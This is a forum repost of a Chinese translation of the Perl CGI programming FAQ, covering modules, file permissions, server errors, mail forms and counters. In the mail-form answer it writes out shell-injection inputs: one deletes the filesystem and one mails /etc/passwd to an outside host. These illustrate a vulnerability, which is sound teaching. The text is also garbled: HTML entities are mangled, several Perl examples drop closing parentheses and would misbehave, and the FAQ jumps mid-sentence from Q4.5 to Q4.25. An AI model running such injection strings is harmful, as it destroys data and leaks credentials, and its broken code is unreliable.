中文版 Perl CGI 程式写作常问问题集
hbczjzc
|
1#
hbczjzc 发表于 2003-02-12 15:17
中文版 Perl CGI 程式写作常问问题集
版本: 1.0
原文作者: Shishir Gundavaram <shishir@ora.com>; Tom Christiansen <tchrist@perl.com>; 文体说明: 译者已就原文中语焉不详、资讯过时,或可作额外补充之处附加注解。这些注解均 以星号 (*) 於适当处(通常为句尾)标示。实际的说明文字则大多紧邻星号所在 的段落,自成一段。所有注解文字均以「【译者】」起头。 范例中的 Perl 程式码已由译者适度加以翻译、去除多馀的括弧,并依 perlstyle manpages 中所建议的写作格式及习惯稍作修整。 -------------------------------------------------------------------------------- 1.0 - 入门简介 Q1.1: 为什麽我的 HTML page/form 需要用 script? Q1.2: CGI 各代表什麽? Q1.3: 到底什麽叫 script?我能拿它来能做什麽? Q1.4: 什麽是 Perl?为什麽有那麽多人用它来做 CGI? Q1.5: 有没有教 CGI 或 Perl 的书或是线上资料? Q1.6: 是不是有这方面的邮递论坛 (mailing lists) 或新闻讨论群组? Q1.7: 网路上是不是有专门收藏邮递论坛或新闻讨论群组的 posts 的站? 2.0 - Modules (模组) Q2.1: 我是不是该用 Perl CGI modules 来写 CGI scripts ?自己做不是比较容易吗? Q2.2: 如何知道某个 module 该怎麽个用法? Q2.3: 有哪些 Perl4 的 CGI 或 WWW的 libraries ? Q2.4: 有哪些给 Perl5 使用的 CGI modules?我该用哪个?为什麽? Q2.5: 为什麽这麽多 perl CGI libraries 都是 object-oriented (物件导向)的?我对用物件导向来写程式一窍不通。难道就没有简单一点,给不会物件导向的人使用的 libraries 吗?物件导向有多难? 3.0 - CGI 与 WWW Server Q3.1: 我的 Perl CGI 程式要放在哪里执行?cgi-bin 这个目录是做甚麽用的? Q3.2: 什麽是档案使用权限?怎样改? Q3.3: Perl 应该安装在哪里才可以执行它? Q3.4: 我为什麽一直得到 ``Server: Error 500'' 的讯息? Q3.5: 我试着打开一个档案,想把资料储存在里头,但是 open() 的指令失败了。到底是怎麽搞的? 4.0 - 程式设计疑难杂症 Q4.1: 我想让 user 填的 form 资料自动寄给我,该怎麽做?有没有范例? Q4.2: 刚才这个用 form 送信的 script 看起来有点难。为什麽不乾脆用 ``mailto: URL'',这样 user 填入的资料就可以寄给我了? Q4.3: 我要如何在 UNIX 以外的平台上做 Perl-CGI,譬如 Mac、MS-DOS、 Windows 及 NT?我的 Perl CGI 程式能不能在这些平台之间互相移植呢?能不能 很直接,没有麻烦?我在 UNIX 主机上有帐号,但是都是先在 Windows/Mac 上做。 我要如何在我自己的机器上测试写好的 CGI scripts? Q4.4: 在 Perl CGI 程式中,STDERR (标准错误讯息)、STDIN (标准输入),和 STDOUT (标准输出) 各是连到何处? Q4.5: 如何写计数器? Q4.6: 要如何用一个 Perl 的取代指令将所有 HTML 标签从一份文件中删除? Q4.7: 要如何知道是谁/哪台机器/哪个浏览器执行了我的程式? Q4.8: 人家看得到我的 Perl CGI 程式吗?如果是这样的话,那不就让他们知道我的程式是怎麽运作的了。这是个安全漏洞吗?我要怎麽把它隐藏起来? Q4.9: 我需要将整个 Perl library 都复制到我的 htdocs 目录底下吗? Q4.10: 我为什麽不该叫使用者输入他们的密码或身份证字号或信用卡号码?有一个 TYPE="password" 不是就是拿来做这个的吗? Q4.11: 我要如何产生专门替 Netscape 设计的网页,以别於世上其他的浏览器? Q4.12: 为什麽我的 system() 所产生的资料输出顺序不对? Q4.13: 我听说 Netscape 会支援 Java。这是不是说 我现在得弃 Perl,改Java 了?是不是该这麽做? Q4.14: 我要如何读取环境变数?为什麽它们有时候会不一样? Q4.15: 为什麽我输出的资料被搅乱了(如 ``b < a'' 会被破坏掉)? Q4.16: 为什麽我的Perl CGI 程式可以由指令列,却无法从浏览器去执行? Q4.17: 为什麽我的 Perl CGI 程式能跑,但是不会把资料写到档案中? Q4.18: 要如何做一个会维系状态,或允许【同一使用者】多次连线的 form? Q4.19: 如果不从浏览器去执行我的 CGI 程式,要如何替它除错? Q4.20: 如果不靠<FORM>;标签,要如何叫出 Perl CGI 程式? Q4.21: 要如何避免旁人不先填栏位就执行我的 form?他们为什麽一直不断这麽做? Q4.22: 那些 server 回应码 (server response codes) 是干什麽用的?有什麽意义? Q4.23: 为什麽 print "Location: http://host/page.html\n " 不 work?又为什麽它只 work 一次,但随後的转向就都弄错了呢? Q4.24: 要如何让 server 在每个 HTML 网页的底部都自动加上一个:「最近更新日期: .」的告示?或者,是不是只有 SSI 的网页才能这麽做?CGI 程式的日期要如何取 得? Q4.25: 什麽样的场合下以 Perl 写 CGI 程式会显得太小题大作,因为用 shell 就可以做到?而什麽样的场合对 Perl 来说又过於困难?用 C++ 做这类的事不是好得多吗?那用 C 呢? 5.0 - 安全 Q5.1: 以 Perl 写成的 CGI 程式是不是不如以 shell 或 C 写的来得安全? Q5.2: 我该特别留意哪些安全事项? Q5.3: 为什麽大家都说 http://bigidiot.abuse-me.com/perl.exe?foo.pl 这样很危险?会有多糟? Q5.4: 要如何在程式中安全地使用逆向撇号(backticks,"`")?这麽做: @ans = `grep'$user_field' some.file`; 是不是真的不安全? Q5.5: /$user_variable/ 这个句法是不是 Perl 5 中的一个安全漏洞? 版权事宜 1.0 - 入门简介 -------------------------------------------------------------------------------- Q1.1: 为什麽我的 HTML page/form 需要用 script? 因为有的时候您需要在 HTML 文件中使用动态资料(非固定不变的资料)。 这包括了日期和时间这类的简单资料,或是一个显示「您是第 xxx 位访客」的计 数器。但它也可能包括根据使用者输入而得出的大饼图/条统图、资料库搜寻产 生的结果,或动画等这类的东西。要做出像这样的东西,您唯一的方法是使用 CGI scripts (尽管您也可以应用客户端程式,如 Java 和 JavaScript 来达到这个目 的,不过那又是完全不同的一回事!)。 -------------------------------------------------------------------------------- Q1.2: CGI 各代表什麽? 以下是我的编辑* Andy Oram 和 Linda Mui (他们很棒!)所写的一段非 常好的描述: 【译者】这是原文的第一作者 Shishir G. 指他所写的 CGI Programming on the World Wide Web 一书的编辑。 Common 向您确保 CGI 可以使用多种程式语言并和多种 ----不同的系统互动。它让您自由选择达到目的的方 法,不把您绑死在单独一种作法之下*。 Gateway 提示您 CGI 的力量不在於它本身所做的事,而 在於它提供了连结其他系统的潜力,例如资料库 和图形制造器。 Interface 只是表示 CGI 对如何善用其特性提供了明确的 ----界定-换句话说,您可以设计程式来适当利用这 个介面。 【译者】似乎有影射 Java 之意。 -------------------------------------------------------------------------------- Q1.3: 到底什麽叫 script?我能拿它来能做什麽? 简单的说,script 就是程式!好吧、好吧,应该说二者有语意上的差别。如果您 真的想知道,那麽去买一本电脑程式设计的书来看(或许该说 script 设计 )。 您可以藉着写 CGI 程式/script 变很多魔术。您可以即时制作图形、连结资料库 传回【查询】结果,还可以连到 Internet 上其他的 servers 去。 -------------------------------------------------------------------------------- Q1.4: 什麽是 Perl?为什麽有那麽多人用它来做 CGI? 答案就在 perl manpage 中的前叁行叙述: Perl 是一解译式的语言,专为高效率检视文字档案 、从中抽取资料,据以印制 报表而设计。 绝大多数 CGI 应用程式的任务都涉及对资料作某种程度的处理,及连结外在程式。 Perl 恰好提供了好用的工具,让人轻松愉快地达成这些任务。 -------------------------------------------------------------------------------- Q1.5: 有没有教 CGI 或 Perl 的书或是线上资料? NCSA 的 CGI 文件 Forms 入门指引 许多 CGI 资源结点 原始的 CGI FAQ Perl FAQ 由 Lincoln Stein 所着,一份很完整的WWW 及 CGI 操作安全 FAQ Paul Phillips 所着,CGI 安全 FAQ WWW FAQ 【译者】此份 FAQ 的中译版可在 http://www.acer.net/document/cwwwfaq / 处取得。 以下是由 Cye H. Waldman 所整理的 CGI 和 Perl 书籍一览表*: 【译者】此表由译者更新,同时加入了原文作者 Tom C. 的 Perl 书评以供读者 参考。请注意:CGI 各书的等级评定乃单就其 Perl 部份的水准及正确性而言。符 号说明:(Tom C. 用骆驼而非星星) 五颗星(*****) ==>; 很棒的书 (terrific books) 四颗星(****) ==>; 不错的书 (fine books) 叁颗星(***) ==>; 像样的书 (decent books) 两颗星(**) ==>; 马马虎虎、勉强过得去的书 (so-so books) 一颗星(*) ==>; 差劲的书 (poor books) 零颗星(0*) ==>; 大烂书 (terrible books) NA ==>; 不适用、无书评 (Not Applicable/Available) v4 ==>; 内容较老旧,仅含盖 Perl4 作者 书名 评价 出版者 所附软体 售价(美金) ?? Cgi Programming For Dummies (预定出版日期:1997年1月) NA IDG Books $25 Jeffrey Friedl Mastering Regular Expressions: Powerful Techniques for Perl and Other Tools (预定出版日期:1997年1月) NA O'Reilly $30 J.M. Ivler CGI Developer's Resource (预定出版日期:1997年3月) NA Prentice Hall 光碟 $45 Various authors Perl 5 Windows NT Programming (预定出版日期:1997年1月) NA New Riders $45 Eric Herrmann Teach Yourself CGI Programming with Perl 5 in a Week, 2nd Ed. NA Sams.net 光碟 $40 Mark Felton CGI: Internet Programming C++ & C (预定出版日期:1997年3月) NA Prentice Hall $?? Ed Tittle CGI Bible (预定出版日期:1996年11月) NA IDG Books $?? Craig Patchett & Matt Wright The CGI Cookbook: Perl and JavaScript (预定出版日期:1996年11月) NA Wiley 光碟 $40 Baron Weil Drag-n-Drop CGI (预定出版日期:1997年1月) NA Addison-Wesley $?? Stephen Lines How To Program CGI with Perl 5.0 NA Ziff-Davis 光碟 $40 Bob Denny et al. CGI Programming for Windows (预定出版日期:1997年3月) NA O'Reilly 磁片 $30 Selena Sol & Gunther Birznieks Instant Web Scripts with CGI/Perl NA MISress/M&T Books 光碟 $40 ?? Perl For Dummies (预定出版日期:1996年10月) NA IDG Books $25 Steven E. Brenner & Edwin Aoki CGI Web Scripting With Perl (出版取消) NA MISress/M&T Books 光碟 $40 ?? Perl & CGI Programming Starter Kit NA Sams.net $45 Mohammed J. Kabir CGI Primer Plus for Windows NA Waite 光碟 $45 Ed Tittel et al. Foundations of WWW Programming with HTML and CGI, 2nd Ed. (预定出版日期:1996年10月) NA IDG Books 光碟 $?? Jerry Muelver Creating Cool Web Pages With Perl ** IDG Books 光碟 $30 John December HTML & CGI Unleashed, Professional Reference Edition NA Sams.net 光碟 $50 Eric Johnson Cross-Platform Perl (See also the author's book site.) (预定出版日期:1996年9月) **** MISress/M&T Books 光碟 $35 Daniel Berlin et al. CGI Programming Unleashed NA Sams.net $55 Clinton Wong Web Client Programming in Perl (预定出版日期:1997年3月) NA O'Reilly $30 Robert Seymour Perl 5 (预定出版日期:1996年10月) NA Springer-Verlag $40 M he Foghl /TD>; Perl 5 Quick Reference * Que $20 Robert Niles & Jeffry Dwight CGI by Example NA Que 光碟 $35 Jonathan Hagey PC Magazine Programming Perl 5.0 CGI Web Pages for Microsoft Windows NT 0* Ziff-Davis 光碟 $35 ?? Web Programming with Perl (预定出版日期:1996年8月) NA Sams.net 光碟 $40 ?? Perl 5 Developer's Guide (预定出版日期:1996年12月) NA Sams 光碟 $60 David Medinets Perl 5 by Example **+1/2* Que 光碟 $35 Stephen Asbury et al. CGI How-To NA Waite 光碟 $40 Carl Franklin Visual Basic Internet Programming (预定出版日期:1996年5月) NA Wiley 光碟 $40 InfoMagic Mother of Perl (一套两张光碟) NA SSC 光碟 $35 Larry Wall et al. Programming Perl, 2nd Ed. ***** O'Reilly $40 Eugene Kim CGI Developer's Guide (预定出版日期:1996年5月) ** Sams.net 光碟 $50 Robert McDaniel CGI Manual of Style (可自线上取得) NA Ziff-Davis $25 ?? Perl 5 for Dummies (预定出版日期:1996年) NA IDG Books 光碟 $?? Ginsburg & Tall Developing Internet Applications with Perl (预定出版日期:1996年3月) NA Sams.net $?? Kamran Husain Perl 5 Unleashed * Sams 光碟 $50 Norton Teach Yourself Perl 5, 2nd Edition (预定出版日期:1996年6月) NA Sams 光碟 $?? Michael Erwin et al. Special Edition Using CGI NA Que $60 Thomas Boutell CGI Programming in C and Perl **** Addison-Wesley 光碟 $35 Johan Vromans Perl 5 Desktop Reference NA O'Reilly $7 Christian Neuss & Johan Vromans The Webmaster's Handbook: Perl Power for Your Web Server NA Int'l Thomson 光碟 $30 William E. Weinman The CGI Book NA New Riders 光碟 $45 Brian Jepson World Wide Web Database Programming for Windows NT NA Wiley 光碟 $40 Steven E. Brenner & Edwin Aoki Introduction to CGI/ Perl ***(v4) MISress/M&T Books $20 Ed Tittel & Sebastion Hassinger Perl 5 Programming Secrets (预定出版日期:1996年3月) NA IDG Books 光碟 $45 David Harlan et al. Special Edition Using Perl 5 for Web Programming ** Que $50 Shishir Gundavaram CGI Programming on the World Wide Web ** O'Reilly 光碟 $30 Robert Farrel The Official 60 Minute Guide to CGI Programming with Perl ***(v4) IDG Books $20 Ed Tittel & Sebastion Hassinger Web Programming Secrets with HTML, CGI & Perl NA IDG Books 光碟 $45 John Deep & Peter Holfelder Developing CGI Applications with Perl **(v4) Wiley $30 Jon Orwant Perl 5 Interactive Course *** Waite 光碟 $50 Aidan Humphreys et al. Perl 5 How-To *** Waite 光碟 $45 Eric Herrmann Teach Yourself CGI Programming with Perl in a Week ***(v4) Sams.net 光碟 $40 Walnut Creek Perl (收录各类资源、档案库、入门指导、实例、source code 等) NA Walnut Creek 光碟 $40 Carl Dichter & Mark Pease Software Engineering with Perl (进阶级,内容针对软体专业人仕设计;非入门指引) * Prentice Hall 磁片 $30 Ellie Quigley Perl by Example ***(v4) Prentice Hall $27 John December & Mark Ginsburg HTML & CGI Unleashed NA Sams.net 光碟 $50 David Till Teach Yourself Perl in 21 Days **(v4) Sams $30 Larry Wall & Randal L. Schwartz Programming Perl NA O'Reilly $30 Randal L. Schwartz Learning Perl ****(v4) O'Reilly $25 Ed Tittel et al. Foundations of WWW Programming with HTML and CGI NA IDG Books 光碟 $40 Lincoln Stein How To Set Up and Maintain a World Wide Web Site, 2nd Edition (预定出版日期:1997年1月) **** Addison-Wesley 光碟 $55 【译者】中文的 CGI 和 Perl 的书目则尚待好心的读者提供。 -------------------------------------------------------------------------------- Q1.6: 是不是有这方面的邮递论坛 (mailing lists) 或新闻讨论群组? 每天有无数的 CGI 高手在「监视」着这个很有用的新闻讨论群组: comp.infosystems.www.authoring.cgi*。 【译者】中文的讨论群中最适合做这方面的讨论的大概要算是 tw.bbs.comp.www 了。还有,请不要将 CGI 问题 post 到 comp.lang.perl.misc 上头去,别说译者没先警告您喔 。 但是,除非您先把 FAQ 读过一遍,否则您不应该到这个版子上去随便 post 问题 (或其他任何版子;同样的道理)。 网路上有各式各样 讨论 Perl、CGI,及 Web 的邮递论坛,但以底下这两个最受欢迎: cgi-perl-request@webstorm.com 【Hypermail 档案库】 这个论坛是给发展 Perl5 CGI 模组、或对此有兴趣的人用的。它并不提 供任何 CGI 支援*。 【译者】此 mailing list 已经数月没有 posts ,寿终正寝了。这可能是由於 讨论的主题-CGI::* 模组套件(详见以下第二篇「Modules (模组)」的说明) 已经有好一段时间没有更新了。模组的维护人 Lincoln Stein 近一年多来似乎都 将重心放在他的 CGI.pm 上,而 CGI.pm 也取代了 CGI::* 这个套件的地位。读者 如对 CGI::* 或 CGI.pm 有问题的话可写到 comp.lang.perl.modules 上头去。 libwww-perlrequest@ics.uci.edu 【Hypermail 档案库】 libwww-perl 这个 library 套件为 Web 客户及伺服程式设计提供了一套简便的介面*。 【译者】此 mailing list 不适合做 CGI 的讨论。libwww-perl 是一项以 Perl 为发展工具、类似 W3C/CERN 的 libwww 的计画(後者用的是 C)。 您可以在: http://www.ics.uci.edu/pub/websoft/libwww-perl取得旧的 (Perl4) libwww-perl 的相关资料。 最新的 Perl5 libwww 套件可在: http://www.sn.no/~libwww-perl/ 处取得。 CPAN: Perl 模组同时也可以在多重复制、分散式的 CPAN 系统取得。 这会自动替您选择一个「靠近您的站」。譬 如说,您可以抓 LWP 模组的 source 或只抓它的 readme。 -------------------------------------------------------------------------------- Q1.7: 网路上是不是有专门收藏邮递论坛或新闻讨论群组的 posts 的站? 是的,您可以试试 The Usenet Newstand。所有comp.infosystems.www.* 讨论群组的文章都收集在那 儿*。同时,cgi-perl 及 libwww 这两个邮递论坛他们也有收集。 【译者】您同时可以试试 DejaNews 、 AltaVista ,和 HotBot 这几个搜寻引擎/资料库。 DejaNews 甚至连 tw.bbs.* 都收集 (其他两个或许也有,但译者没试过)。 -------------------------------------------------------------------------------- 2.0 - Modules (模组) -------------------------------------------------------------------------------- Q2.1: 我是不是该用 Perl CGI modules* 来写 CGI scripts ?自己做不是比较容易吗? 【译者】 CGI modules 在此指 CGI.pm 及其他 CGI::* 的模组;详见 Q2.4 。 这完全取决於您要做的是什麽。CGI modules 较适合重量级的 CGI scripts 。如 果是简单的 scripts 的话,自己做或者是用 CGI Lite 这个模组会简便许多。如 果您真的愿意,您甚至可以用旧的 Perl4 cgi-lib.pl 这个 library*。 【译注】 作者 Tom C. 之所以这麽说是因为他基本上不赞成使用cgi-lib.pl ,有 兴趣的读者可以看他写的 Why I am not fond of cgi-lib.pl (为什麽我不欣赏 cgi-lib.pl )。 -------------------------------------------------------------------------------- Q2.2: 如何知道某个 module 该怎麽个用法? 大多数 modules 的使用说明是直接嵌在 程式里的*。 如果是这样的话,您可以用 pod2man 这个 script 来阅读使用指南: % pod2text name_of_module.pm % pod2man name_of_module.pm | nroff -man | more 【译注】如果您在 *.pm 档中看到 ``=head1''、``=cut'' 这类的东西便是显示使 用说明有附在里头。这是 Larry Wall 设计的 POD (Plain Old Document) 格式。 详见 perlpod manpages。 -------------------------------------------------------------------------------- Q2.3: 有哪些 Perl4 的 CGI 或 WWW的 libraries ? 最广为使用的 Perl4 CGI library 是 Steve Brenner 的 cgi-lib.pl。 -------------------------------------------------------------------------------- Q2.4: 有哪些给 Perl5 使用的 CGI modules?我该用哪个?为什麽? CGI.pm* 这个很棒的 module 在功能上和部分 CGI::* modules 相重叠。如果您不想和多重 modules 打交道的话,您可以只用这一个。我们等一下在後头会给您看一个用 CGI.pm 来替 CGI scripts 除错的实例。 此外,Lincoln (Lincoln Stein;CGI.pm 的作者)还写了一本讨论 Web 和 CGI 非常好的书,叫 How To Set Up and Maintain a World Wide Web Site。 【译者】 建议读者多使用 CGI.pm 。CGI::* 已经有很长一段时间没有更新了,而 CGI.pm 则不断的有改良的新版推出,并已加入对 FastCGI 的支援,因此对 FastCGI 的使用 者也相当方便。此外,mod_perl (Apache 的 perl module)中所附的 CGI::XA,也是由 CGI.pm 改进而来的。 CGI.pm 让使用者免除自己做低阶资料处理 (如印 HTTP 标头、替 form, cookies 资料解码等)的麻烦。 CGI::* 模组套件 这些模组原先大多是由 Tim Bunce 所写,现在则由 Lincoln Stein 来负责 维护。它们的功能包括了帮您产生及处理 form ,替 CGI 程式除错,以及在不同的 forms 之间维系一个状态值。 CGI Lite 这个轻量级的 module 是 CGI::* modules 之外的另一个选择。它可算是在老旧的 cgi-lib.pl 之上改良、加料後的产物。 以上叁者均有能力处理 multipart form 资料(即上传)。 -------------------------------------------------------------------------------- Q2.5: 为什麽这麽多 perl CGI libraries 都是 object-oriented (物件导向)的?我对用物件导向来写程式一窍不通。难道就没有简单一点,给不会物件导向的人使用的 libraries 吗?物件导向有多难? 其实使用物件导向的 modules 并不难。先去看看 Tom Christiansen 的 Easy Intro to Using Perl Objects (简单介绍如何使用 Perl 物件)吧。 前头提到的 CGI modules 用起来真的是很容易!这里有一个用 CGI Lite 印出 form 资料的实例*: 【译者】CGI.pm 的使用说明中有更多范例可供参考。 #!/usr/local/bin/perl -w use CGI_Lite; $cgi = new CGI_Lite; %data = $cgi->;parse_form_data; print "Content-type: text/plain", "\n\n"; foreach $key (keys %data) { print $key, " = ", $data{$key}, "\n"; } exit 0; 要注意的是,即使您机器上的 Perl 不是您装的(您不是系统管理者),或是您权限不 够无法将这些 modules 和其他的 Perl library 档案安装在同一个地方,您还 是可以使用这些 modules 的 -- 只要将它们摆在一个自己方便的地方,然後在 您的 script 开始处加上*: BEGIN { unshift @INC, "/your/dir/favorite/place"; } 【译者】建议改用较新的方式: use lib qw(/your/dir/favorite/place); 好。以下是一个用到 CGI::* modules 的例子: #!/usr/local/bin/perl -w use CGI::Form; $cgi_form = new CGI::Form; print <<'End_of_Header'; <HTML>; <HEAD>;<TITLE>;看着我做!</TITLE>;</HEAD>; <BODY>; <H1>;看着我做!</H1>; End_of_Header print $form->;startform; ## 产生一个单行输入栏位 (text field) print '姓名: '; print $form->;textfield('name'), " ;\n"; ## 产生一组单选按纽 (radio buttons) print '<>;您住哪儿: ;'; print $form->;radio_group(-name =>; 'where', -values =>; ['北美洲', '南美洲', '欧洲', '澳洲', '亚洲', '南极洲'], -default =>; '北美洲', -linebreak =>; 'true'); ## 产生一个多行输入栏位 (textarea) print '意见: '; print $form->;textarea('comments', undef, 5, 40); print "<>;"; print $form->;reset; print $form->;defaults; print $form->;submit('送出!', 'Submit'); print $form->;endform; print "</BODY>;</HTML>;"; reset、defaults,及submit叁种方法( methods ) 会产 生不同的类型的按钮。reset 这个按钮让您把目前 form 栏位中所填的资料洗掉, 并显示属於上一个状态(或回合)的资料。 defaults 这个按钮则是将form 栏位 资料彻底洗去。还有 submit 这个方法产生一个送出钮以便让人将资料送至 server 处。 您看,不是很容易吗? 3.0 - CGI 与 WWW Server -------------------------------------------------------------------------------- Q3.1: 我的 Perl CGI 程式要放在哪里执行?cgi-bin 这个目录是做甚麽用的? server 通常是设定成去执行放在 ``cgi-bin'' 目录底下的 CGI 程式。不过, server 管理者同时也可以在设定档中设定 aliases,让所有含某些副档名(如 .cgi、.pl)的 scripts 都能执行*。 【译者】设定 CGI aliases 和副档名固然很方便,但 server 管理者须注意到相 关的安全问题。 -------------------------------------------------------------------------------- Q3.2: 什麽是档案使用权限?怎样改? 档案权限是根据使用者识别代号(又称 uid),以及他们所属的团体来决定是否赋 与使用者读、写,和执行某档案的权利。您可使用 chmod 这个指令去修改档案的 使用权限。例如: % ls -ls form.cgi 1 -rwx------ 1 shishir 974 Oct 31 22:15 form.cgi* 此一档案的权限为 0700(八进制),意味着没有人(档案所有人除外)能够读取、 写进,或执行这个档案。我们可以用 chmod 这个指令去修改它的权 限: % chmod 755 form.cgi % ls -ls form.cgi 1 -rwxr-xr-x 1 shishir 974 Oct 31 22:15 form.cgi* 这样一来,权限就变了。现在和 ``shishir'' 在同一个团体的使用者,还有其他 任何的使用者都有权利去读取和执行这个档案了。 如欲知 chmod 指令各八进制数码所代表的含意,请参阅 chmod manpages的说明。 -------------------------------------------------------------------------------- Q3.3: Perl 应该安装在哪里才可以执行它? Perl 可以安装在系统上任何一个角落!您唯一要注意的是 server 不能在chroot 的环境下跑,否则它便无法跑 perl 解译器。换言之,系统管理者可以把根目录 改变,让 ``/'' 指到另一个目录,而不是实际真正的根目录(``/'')。 -------------------------------------------------------------------------------- Q3.4: 我为什麽一直得到 ``Server: Error 500'' 的讯息? 以下几种情形会触发这个错误讯息: 如果 script 开头的地方没有 ``#!/usr/local/bin/perl'' 这个指到 Perl 解译器的标头,或者是指到解译器(或 library 档)的路径错误。 如果 script 输出的第一行是一个不正确的标头(即 ``Content-Type: text/html'' ),或者是该标头後面没有跟着一个空行。 如果您的 script 有句法上的错误。您的 scripts 都应在指令列先跑跑看才 是。 -------------------------------------------------------------------------------- Q3.5: 我试着打开一个档案,想把资料储存在里头,但是 open() 的指令失败了。到底是怎麽搞的? 一般说来,HTTP server 是以 ``nobody''、``www'',或其他这类权限低的使用 者的身份来跑的。因为这个缘故,您打算在其中制造新档案的目录,对 server 跑的 使用者 ID 必须要是可写(writable)才行。 为了确定起见,您每次都应该先检查 open 这个指令送回的结束状态(return status),看看 open 有没有成功。 open(FILE, "/abc/data.txt" || error("Could not open file /abc/data.txt"; --. --.-- --. sub error { my($message) = @_; -- print <<End_of_Error; Content-type: text/html Status: 500 CGI Error <HTML>; <HEAD>;<TITLE>;CGI Error</TITLE>;</HEAD>; <BODY>; <H1>;Oops! Error</H1>; <HR>; $message <HR>; </BODY>; </HTML>; End_of_Error } 4.0 - 程式设计疑难杂症 -------------------------------------------------------------------------------- Q4.1: 我想让 user 填的 form 资料自动寄给我,该怎麽做?有没有范例? 其实做这个很容易。您的 CGI script 必须能做到这两件事: 将 form 中的资料整理出来。别忘了,所有的 form 资料都会被 URL-编码起来 (先不考虑 Netscape 2.0 【及 2.0 以上所支援】的 multipart MIME资料)。 开一个管路 (pipe) 到 mail (或 sendmail ),然後把 form 资料写过去。 我们就假设您用的是 CGI::* 模组。您可用以下的方法去叫 sendmail: $cgi_form = new CGI::Form; $from = $cgi_form->;param('from'); $name = $cgi_form->;param('name'); $to = $cgi_form->;param('to'); $subject = $cgi_form->;param('subject'); $message = $cgi_form->;param('message'); open SENDMAIL, "| /usr/bin/sendmail -t -n"; print SENDMAIL <<End_of_Mail; From: $from <$name>; To: $to Reply-To: $from Subject: $subject $message End_of_Mail 有一个该注意的地方是 ``Reply-To:'' 的信头。由於 server 是以 ``nobody''这 个使用者的身份来跑,信头的地方可能会被搞坏(尤其是当有人想回这封信的时後)。 加上 ``Reply-To'' 的信头这个问题便解决了。 网路上有许多的 mail 渠道 (gateway)* 是以底下这种方法来送 mail: 【译者】gateway 在此指送 email 的 CGI 程式 open MAIL, "| mail -s 'Subject' $to"; ^ | +-- 可能会出问题的漏洞!!! 如果您没有先检查看 $to 这个变数有没有内含 shell 的特殊符号 (metacharacters),您是在自讨苦吃!譬如,如果哪个恶劣的 user 输入了以下的资 料: ; rm -fr / ; 那麽您的麻烦可大了*。 【译者】这里头的 ``;'' 便是一个危险的 shell metacharacter。另一个危险的符号是 ``&''。 在这个假想的情况中,有多少个档案会被远方的 user 给杀掉,还得视 server 跑的使用者的权限而定(这就是为什麽 server 要以低权限使用者身份跑的原因)。 至少那些由 CGI 程式制造出来,但又没有备份的档案,是真的要跟它们永别了。 ; mail joe@crackerland.org </etc/passwd 那您的 CGI script 就替您把 /etc/passwd 给拱手送上了。这对一个「未加工」的 Linux、SunOS 4.1,还有其他任何没安装 shadow-password 的 UNIX 系统来说, 实在不太好玩。如果 server 错误地跑了 root,那麽就算装了 shadow-password 也没有用,因为远方的 cracker 甚至可以让这个 CGI 的 email script 给他送 /etc/shadow (视系统而定,不一定在 /etc 底下或叫这个名字)。 -------------------------------------------------------------------------------- Q4.2: 刚才这个用 form 送信的 script 看起来有点难。为什麽不乾脆用 ``mailto: URL'',这样 user 填入的资料就可以寄给我了? 很不幸地,mailto: 的指令并不是所有的浏览器都支援。如果您在档案中用了它的话, 会限制了那些使用没有支援 mailto: 的浏览器的人,让他们无法送 mail 给您*。 【译者】尽管如此,您或许不会在乎那占极少数比例的使用者(Netscape 、 IE, 和 lynx 等浏览器都支援 mailto: )。 -------------------------------------------------------------------------------- Q4.3: 我要如何在 UNIX 以外的平台上做 Perl-CGI,譬如 Mac、MS-DOS、 Windows 及 NT?我的 Perl CGI 程式能不能在这些平台之间互相移植呢?能不能 很直接,没有麻烦?我在 UNIX 主机上有帐号,但是都是先在 Windows/Mac 上做。 我要如何在我自己的机器上测试写好的 CGI scripts*? Perl 已经被移植到上述所有的平台上了。因此,您的 Perl CGI 程式照理应不难 移植。但如果您使用到一些 UNIX 上的程式,那麽您的程式可能会不好移植。如果 您只是做资料处理,或开启、读进档案等的话,那麽移植应该不会有问题。 【译者】原 FAQ 并未回答最後这个问题。要在 Windows/OS2/Mac 等非 UNIX 平台 上测式您的 scripts ,您可以使用 CGI.pm (支援以上所有平台),配合 Q4.19 中提示的除错技巧 ,或在自己的机器上安装 HTTP server 软体。如此就不用辛苦的连上主机去测式了。 -------------------------------------------------------------------------------- Q4.4: 在 Perl CGI 程式中,STDERR (标准错误讯息)、STDIN (标准输入),和 STDOUT (标准输出) 各是连到何处? 在 CGI 环境下,STDERR 会指向 server 的 错误讯息档 (error log)。您可以善 加利用这个特性,把除错的讯息写到 STDERR,然後您便可藉查看错误讯息档来帮 您除错。 STDIN 和 STDOUT 则都和浏览器相连。实际上,STDIN 连的是 server。 server 会先解读 client (或浏览器)送出的请求和资料,再将其送给 script。 您也可以用将 STDERR 「复制」到 STDOUT 的方法来抓错误讯息。这应该在 script 靠前头的地方做(但应在您输出合适的 HTTP 标头之後): open STDERR, ">;&STDOUT"; 这会将所有的错误讯息都转送到 STDOUT (即浏览器) 去。 -------------------------------------------------------------------------------- Q4.5: 如何写计数器? 计数器一类的程式相当流行。其实计数器的原理很简单,不过是: 用一个档案去储存资料。 每当有人光临网站,增大档案中所计的数字。 以下是一个简单的计数器的实例: #!/usr/local/bin/perl -w $counter = "/home/shishir/counter.dat"; print "Content-type: text/plain", "\n\n"; open(FILE, $counter) || die "Cannot read from the counter file.\n"; flock FILE, 2; $visitors = <FILE>;; flock FILE, 8; close FILE; open(FILE, ">;$counter" || die "Cannot write to counter file.\n"; flock FILE, 2; print FILE $visitors; flock FILE, 8; close FILE; 现在您可以在 HTML 档案中用 SSI (Server Side Include; 伺服端插入)* 的方式来显示该计数器: 【译者】SSI 是 server 所提供的一项功能,可将动态资料,例如日期和时间,或 计数器显示等,在客户请求一网页时即时加入该文件中。支援 SSI 的 servers 包 括了 NCSA、Apache,和Netscape Enterprise Server 等。 SSI 固然是一项便利的设计,但如过份滥用 ,不但会减低 server 性能,更可能招来安全上的危机。 您是第 -------------------------------------------------------------------------------- Q4.25: 什麽样的场合下以 Perl 写 CGI 程式会显得太小题大作,因为用 shell 就可以做到?而什麽样的场合对 Perl 来说又过於困难?用 C++ 做这类的事不是好得多吗?那用 C 呢? 每一个语言都有其长处和短处。相信这句话您听过很多次了。所以一切全看您要做 的是什麽而定。如果您预期正准备写的 CGI 程式每个钟头会有几千几万人次连去 使用,那麽您应该选用 C 或 C++来写。如果您求快的话(指发展所花费的时间而言), 那麽 Perl 是正确的选择! 一般说来,您应避免用 shell 来做任何形式的 CGI 程式设计,因为 shell 在先 天上容易产生安全问题。 -------------------------------------------------------------------------------- 5.0 - 安全 